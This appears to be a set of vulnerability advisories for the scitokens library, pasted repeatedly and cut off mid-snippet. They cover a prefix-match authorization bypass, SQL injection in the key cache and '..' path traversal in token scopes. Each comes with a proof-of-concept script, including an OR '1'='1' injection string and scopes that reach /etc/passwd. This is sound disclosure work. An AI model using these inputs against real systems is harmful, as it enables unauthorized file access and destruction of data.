Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC

import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:

   return requested_path.startswith(allowed_path + '/')
   # "/home/user2".startswith("/home/") is True
   

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC

import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:

   return requested_path.startswith(allowed_path + '/')
   # "/home/user2".startswith("/home/") is True
   

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC

import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:

   return requested_path.startswith(allowed_path + '/')
   # "/home/user2".startswith("/home/") is True
   

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
